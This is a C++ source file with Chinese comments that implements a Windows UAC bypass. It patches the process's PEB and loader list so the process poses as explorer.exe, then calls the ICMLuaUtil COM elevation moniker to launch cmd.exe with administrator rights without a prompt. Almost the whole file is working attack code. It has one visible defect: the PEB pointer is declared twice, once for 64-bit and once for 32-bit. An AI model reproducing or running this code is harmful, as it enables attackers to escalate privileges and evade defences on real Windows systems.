// ---------------------------------------------------------
// 1. 重新定义完整的内部结构(跳过 winternl.h 的限制)
// ---------------------------------------------------------
typedef struct _MY_PEB_LDR_DATA {
ULONG Length;
BOOLEAN Initialized;
HANDLE SsHandle;
LIST_ENTRY InLoadOrderModuleList; // 报错的那个成员就在这里
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
PVOID EntryInProgress;
BOOLEAN ShutdownInProgress;
HANDLE ShutdownThreadId;
} MY_PEB_LDR_DATA, * PMY_PEB_LDR_DATA;
typedef struct _MY_LDR_DATA_TABLE_ENTRY {
LIST_ENTRY InLoadOrderLinks;
LIST_ENTRY InMemoryOrderLinks;
LIST_ENTRY InInitializationOrderLinks;
PVOID DllBase;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
} MY_LDR_DATA_TABLE_ENTRY, * PMY_LDR_DATA_TABLE_ENTRY;
// 自定义一个 PEB 结构,用来访问我们定义的 MY_PEB_LDR_DATA
typedef struct _MY_PEB {
BOOLEAN InheritedAddressSpace;
BOOLEAN ReadImageFileExecOptions;
BOOLEAN BeingDebugged;
union {
BOOLEAN BitField;
struct {
BOOLEAN ImageUsesLargePages : 1;
BOOLEAN IsProtectedProcess : 1;
BOOLEAN IsImageDynamicallyRelocated : 1;
BOOLEAN SkipPatchingUser32Forwarders : 1;
BOOLEAN IsPackagedProcess : 1;
BOOLEAN IsAppContainer : 1;
BOOLEAN IsProtectedProcessLight : 1;
BOOLEAN IsLongPathAwareProcess : 1;
};
};
HANDLE Mutant;
PVOID ImageBaseAddress;
PMY_PEB_LDR_DATA Ldr; // 使用我们自定义的 Ldr 结构
PRTL_USER_PROCESS_PARAMETERS ProcessParameters;
} MY_PEB, * PMY_PEB;
// ICMLuaUtil 接口
class __declspec(uuid("6EDD6D74-C007-4E75-B76A-E5740995E24C")) ICMLuaUtil : public IUnknown {
public:
virtual HRESULT STDMETHODCALLTYPE Method1() = 0;
virtual HRESULT STDMETHODCALLTYPE Method2() = 0;
virtual HRESULT STDMETHODCALLTYPE Method3() = 0;
virtual HRESULT STDMETHODCALLTYPE Method4() = 0;
virtual HRESULT STDMETHODCALLTYPE Method5() = 0;
virtual HRESULT STDMETHODCALLTYPE Method6() = 0;
virtual HRESULT STDMETHODCALLTYPE ShellExec(LPCWSTR lpFile, LPCWSTR lpParameters, LPCWSTR lpDirectory, ULONG fMask, ULONG nShow) = 0;
};
// ---------------------------------------------------------
// 2. 改进后的伪装函数
// ---------------------------------------------------------
bool MasqueradePEB(LPCWSTR targetPath) {
wprintf(L"[*] Masquerading PEB as: %s\n", targetPath);
PMY_PEB pPEB = (PMY_PEB)__readgsqword(0x60);
PMY_PEB pPEB = (PMY_PEB)__readfsdword(0x30);
// 1. 分配持久内存存储路径字符串
size_t pathLen = (wcslen(targetPath) + 1) * sizeof(WCHAR);
PWSTR newPath = (PWSTR)LocalAlloc(LPTR, pathLen);
if (!newPath) return false;
wcscpy_s(newPath, pathLen / sizeof(WCHAR), targetPath);
UNICODE_STRING usPath;
RtlInitUnicodeString(&usPath, newPath);
// 2. 修改 ProcessParameters (ImagePathName)
pPEB->ProcessParameters->ImagePathName = usPath;
pPEB->ProcessParameters->CommandLine = usPath;
// 3. 修改 LDR 链表 (关键修复)
// 这里 pPEB->Ldr 现在指向的是我们自定义的 MY_PEB_LDR_DATA
PLIST_ENTRY pHead = &pPEB->Ldr->InLoadOrderModuleList;
PLIST_ENTRY pCurrent = pHead->Flink;
// 获取第一个模块节点 (当前进程的模块)
PMY_LDR_DATA_TABLE_ENTRY pLdrEntry = (PMY_LDR_DATA_TABLE_ENTRY)pCurrent;
// 修改模块名
pLdrEntry->FullDllName = usPath;
PCWSTR fileName = wcsrchr(targetPath, L'\\');
if (fileName) {
fileName++;
UNICODE_STRING usBaseName;
RtlInitUnicodeString(&usBaseName, fileName);
pLdrEntry->BaseDllName = usBaseName;
}
wprintf(L"[+] PEB and LDR successfuly patched.\n");
return true;
}
// ---------------------------------------------------------
// 3. COM 提升函数 (UAC Bypass)
// ---------------------------------------------------------
bool UACBypass(LPCWSTR payloadExe) {
HRESULT hr = E_FAIL;
ICMLuaUtil* pICMLuaUtil = nullptr;
LPCWSTR elevationMoniker = L"Elevation:Administrator!new:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}";
BIND_OPTS3 bop;
memset(&bop, 0, sizeof(bop));
bop.cbStruct = sizeof(bop);
bop.dwClassContext = CLSCTX_LOCAL_SERVER;
wprintf(L"[*] Calling CoGetObject...\n");
hr = CoGetObject(elevationMoniker, (BIND_OPTS*)&bop, __uuidof(ICMLuaUtil), (void**)&pICMLuaUtil);
if (FAILED(hr)) {
wprintf(L"[-] CoGetObject Failed: 0x%08X\n", hr);
return false;
}
wprintf(L"[+] Elevation success. Launching: %s\n", payloadExe);
hr = pICMLuaUtil->ShellExec(payloadExe, NULL, NULL, 0, SW_SHOW);
if (pICMLuaUtil) pICMLuaUtil->Release();
return SUCCEEDED(hr);
}
int main() {
CoInitialize(NULL);
// 1. 伪装
if (MasqueradePEB(L"C:\\Windows\\explorer.exe")) {
// 2. 执行 UAC 绕过
if (!UACBypass(L"C:\\Windows\\System32\\cmd.exe")) {
wprintf(L"[-] Bypass failed.\n");
}
}
CoUninitialize();
system("pause");
return 0;
}